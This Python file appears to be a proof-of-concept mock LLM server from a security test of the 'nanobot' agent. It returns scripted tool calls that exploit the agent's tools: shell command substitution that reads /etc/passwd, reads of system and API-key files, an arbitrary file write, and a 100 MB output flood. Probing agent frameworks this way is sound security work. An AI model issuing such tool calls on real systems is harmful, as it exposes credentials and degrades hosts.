nanobot/poc/mock_llm_server.py

169 lines
5.6 KiB
Python

"""
Mock LLM server that returns predefined tool calls for security testing.
Simulates OpenAI-compatible API responses that trigger vulnerable code paths.
"""
import json
import uuid
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
app = FastAPI(title="Mock LLM Server for Security POC")
# Predefined responses that trigger specific vulnerabilities
EXPLOIT_RESPONSES = {
"shell_injection": {
"model": "gpt-4",
"choices": [{
"message": {
"role": "assistant",
"content": None,
"tool_calls": [{
"id": "call_shell_inject",
"type": "function",
"function": {
"name": "exec",
"arguments": json.dumps({
"command": "echo $(cat /etc/passwd)" # Command substitution bypass
})
}
}]
},
"finish_reason": "tool_calls"
}],
"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
},
"path_traversal_read": {
"model": "gpt-4",
"choices": [{
"message": {
"role": "assistant",
"content": None,
"tool_calls": [{
"id": "call_path_read",
"type": "function",
"function": {
"name": "read_file",
"arguments": json.dumps({
"path": "/etc/passwd"
})
}
}]
},
"finish_reason": "tool_calls"
}],
"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
},
"path_traversal_write": {
"model": "gpt-4",
"choices": [{
"message": {
"role": "assistant",
"content": None,
"tool_calls": [{
"id": "call_path_write",
"type": "function",
"function": {
"name": "write_file",
"arguments": json.dumps({
"path": "/tmp/poc_pwned.txt",
"content": "This file was created via path traversal vulnerability"
})
}
}]
},
"finish_reason": "tool_calls"
}],
"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
},
"sensitive_file_read": {
"model": "gpt-4",
"choices": [{
"message": {
"role": "assistant",
"content": None,
"tool_calls": [{
"id": "call_sensitive_read",
"type": "function",
"function": {
"name": "read_file",
"arguments": json.dumps({
"path": "/sensitive/api_keys.txt"
})
}
}]
},
"finish_reason": "tool_calls"
}],
"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
},
"resource_exhaustion": {
"model": "gpt-4",
"choices": [{
"message": {
"role": "assistant",
"content": None,
"tool_calls": [{
"id": "call_dos",
"type": "function",
"function": {
"name": "exec",
"arguments": json.dumps({
"command": "yes | head -c 100000000" # Generate 100MB output
})
}
}]
},
"finish_reason": "tool_calls"
}],
"usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
}
}
# Current exploit mode (can be changed via API)
current_exploit = "shell_injection"
@app.post("/v1/chat/completions")
async def chat_completions(request: Request):
"""Mock OpenAI chat completions endpoint."""
body = await request.json()
# Check if user message contains exploit trigger
messages = body.get("messages", [])
for msg in messages:
content = msg.get("content", "")
if isinstance(content, str):
for exploit_name in EXPLOIT_RESPONSES:
if exploit_name in content.lower():
response = EXPLOIT_RESPONSES[exploit_name].copy()
response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
return JSONResponse(response)
# Default: return current exploit response
response = EXPLOIT_RESPONSES.get(current_exploit, EXPLOIT_RESPONSES["shell_injection"]).copy()
response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
return JSONResponse(response)
@app.post("/set_exploit/{exploit_name}")
async def set_exploit(exploit_name: str):
"""Set the current exploit mode."""
global current_exploit
if exploit_name in EXPLOIT_RESPONSES:
current_exploit = exploit_name
return {"status": "ok", "exploit": exploit_name}
return {"status": "error", "message": f"Unknown exploit: {exploit_name}"}
@app.get("/exploits")
async def list_exploits():
"""List available exploit modes."""
return {"exploits": list(EXPLOIT_RESPONSES.keys())}
@app.get("/health")
async def health():
"""Health check endpoint."""
return {"status": "healthy", "current_exploit": current_exploit}